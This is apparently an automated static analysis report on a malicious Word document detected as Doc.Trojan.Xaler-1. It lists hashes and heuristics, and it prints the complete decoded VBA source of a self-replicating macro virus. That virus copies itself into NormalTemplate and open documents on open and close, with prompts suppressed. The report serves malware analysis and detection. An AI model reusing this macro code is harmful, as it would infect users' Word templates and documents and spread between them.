Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ca7409facac71671…

MALICIOUS

Office (OLE)

56.0 KB Created: 2017-07-27 00:45:00 Authoring application: Microsoft Office Word First seen: 2019-09-30
MD5: 5ec14226412234c105872758e368869b SHA-1: 82cb26a35b108b16cf9fd85da7215fb9cb0dce27 SHA-256: ca7409facac71671917276255a3d44107fce910a77457b583601de79c8315301
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a malicious Word document containing VBA macros. The Document_Open macro executes a subroutine that exports the macro's code to a temporary file, reads it back, and then attempts to re-insert it into the document or NormalTemplate. This behavior is indicative of an attempt to obfuscate malicious code or establish persistence. The ClamAV detection 'Doc.Trojan.Xaler-1' further supports its malicious nature.

Heuristics 4

  • ClamAV: Doc.Trojan.Xaler-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Xaler-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2191 bytes
SHA-256: f2ff3044ef7991da1d89a80a880f9c8e15620108fc94caf40553472f9e054335
Detection
ClamAV: Doc.Trojan.Xaler-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'RELAX
Private Sub RELAX2()
End
End Sub

Private Sub Document_Close()
Call GOODSub
Call RELAX2
End Sub

Private Sub GOODSub()
On Error Resume Next
Application.ScreenUpdating = False
Application.Options.SaveNormalPrompt = False
x$ = "C:\temp.tmp"
MacroContainer.VBProject.VBComponents.Item("ThisDocument").Export x$
Open x$ For Input As #1
keimeno = Input(LOF(1), 1)
Close #1
kk& = InStr(1, keimeno, "'RELAX")
keimeno = Right$(keimeno, Len(keimeno) - kk& + 1)
For j = 1 To 2
If j = 1 Then
NormalTemplate.VBProject.VBComponents.Item("ThisDocument").Export x$
Else
ActiveDocument.VBProject.VBComponents.Item("ThisDocument").Export x$
End If
Open x$ For Input As #1
rlx = Input(LOF(1), 1)
Close #1
d1 = InStr(1, rlx, "'RELAX")
If d1 = 0 Then
If j = 1 Then
NormalTemplate.VBProject.VBComponents.Item("ThisDocument").CodeModule.InsertLines 1, keimeno
NormalTemplate.Save
Else
ActiveDocument.VBProject.VBComponents.Item("ThisDocument").CodeModule.InsertLines 1, keimeno
End If
End If
Next j
'====================
Dim PRostasia As Byte
PRostasia = 1
fff = FreeFile
If Dir(ActiveDocument.FullName, 6) <> "" Then
Open ActiveDocument.FullName For Binary As #fff
Put #fff, 862, PRostasia
Close #fff
ActiveDocument.Save
End If
Kill x$
Application.ScreenUpdating = True
End Sub

Private Sub Document_Open()
Call GOODSub
End Sub

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